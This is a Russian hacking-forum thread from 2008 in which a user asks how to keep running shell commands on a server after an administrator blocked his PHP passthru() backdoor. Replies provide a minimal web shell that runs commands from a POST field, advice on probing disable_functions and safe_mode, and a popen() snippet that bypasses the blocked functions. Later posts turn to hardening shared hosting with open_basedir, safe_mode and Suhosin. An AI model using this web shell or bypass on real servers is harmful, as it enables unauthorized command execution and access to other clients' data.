Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Выполнить команду на сервере |

16.11.2008, 12:00
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
Провел на форуме: 1174546
Репутация:
326
|
|
Выполнить команду на сервере
Всем привет. Возник вопросик.
Раньше на сервере выполнял команды таким методом :
$result = passthru($_POST['cmmd']);
Теперь админ пофиксил  как еще можно выполнить ?
OS : FreeBSD 6.3
PHP : 5.2.6
Зарание спасибо.
|
|
|

16.11.2008, 15:04
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Непонятно, как пофиксил:
if ((!$_POST['cmd']) || ($_POST['cmd']=="")) { $_POST['cmd']="id;pwd;uname -a;ls -la"; }
echo "".passthru($_POST['cmd'])."";
Тебе останется написать только html форму для скрипта
ну и:
http://ru2.php.net/passthru
The passthru() function is similar to the exec() function in that it executes a command . This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser. A common use for this is to execute something like the pbmplus utilities that can output an image stream directly. By setting the Content-type to image/gif and then calling a pbmplus program to output a gif, you can create PHP scripts that output images directly.
Последний раз редактировалось Pashkela; 16.11.2008 в 15:09..
|
|
|

16.11.2008, 16:06
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме: 557623
Репутация:
415
|
|
Сперва выясни в чём заключался фикс. Было ли это запрещение одной или нескольких функций, или же на сервере включили safe_mode. Выполни phpinfo() и посмотри строчку disable_functions. Если там запрещена только функция passthru() - юзай system() или exec().
Так же обрати внимание на значение параметра safe_mode, если установлен в On, значит на сервере врубили Safe Mode - пробуй заюзать какой-либо из способов обхода Safe Mode. Инфы по этой теме дофига на том же Античате.
Даже если не удастся использовать ничего из вышеперечисленного, всё равно остаётся возможность производить какие-то действия средствами чистого PHP (без использования функций операционной системы), например просмотр содержимого каталогов, просмотр , редактирование или создание файлов и т.д.
Последний раз редактировалось otmorozok428; 16.11.2008 в 16:09..
|
|
|

16.11.2008, 18:39
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
Провел на форуме: 1174546
Репутация:
326
|
|
disable_functions :
rmdir, readfile, exec, system, passthru, escapeshellcmd, shell_exec, chmodopendir, readdir, closedir, dir, diskfreespace, disk_free_space, getattr, domxml_get_attribute, ini_alter, ini_set, root, domxml_root
safe_mode Off
Что можно сделать в таком случае ???
|
|
|

16.11.2008, 19:41
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме: 557623
Репутация:
415
|
|
Попробуй заюзать popen(). Вот как-то так:
PHP код:
<?php
$handle = popen("uname -a", "r");
$read = fread($handle, 2096);
echo $read;
?>
|
|
|

17.11.2008, 14:29
|
|
Постоянный
Регистрация: 19.06.2007
Сообщений: 315
Провел на форуме: 1174546
Репутация:
326
|
|
Теперь вопрос к админам!
Как можно зашитить свой сервер ?
Такая ситуация :
Есть хостинг на котором 50 сайтов. Каждый может выполнить
ls /home
cat /etc/passwd
лазить по сайтам других клиентов.
Как можно ограничить выполнения команд пользовательом ???
Что-бы он немог выйти за свою директорию.
Спасибо большое.
|
|
|

17.11.2008, 14:46
|
|
Постоянный
Регистрация: 18.09.2006
Сообщений: 867
Провел на форуме: 2805813
Репутация:
1396
|
|
open basedir ./
safe_mode On
ман по пхп.ини тебе в руки.Если ты про выполнение из пхп скриптов.Иначе- запретить доступ по ссш =)))
|
|
|

17.11.2008, 17:30
|
|
Banned
Регистрация: 19.10.2007
Сообщений: 152
Провел на форуме: 557623
Репутация:
415
|
|
А сверху накати что-нибудь типа Suhoshin и будет тебе счастье 
|
|
|

17.11.2008, 18:13
|
|
Новичок
Регистрация: 14.11.2008
Сообщений: 28
Провел на форуме: 158078
Репутация:
6
|
|
Перекомпилить PHP без exec(); и т.п. и поднять ssh шелл, ну собсно тоже подправленный(можно даже без cd, vim и т.п.).
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|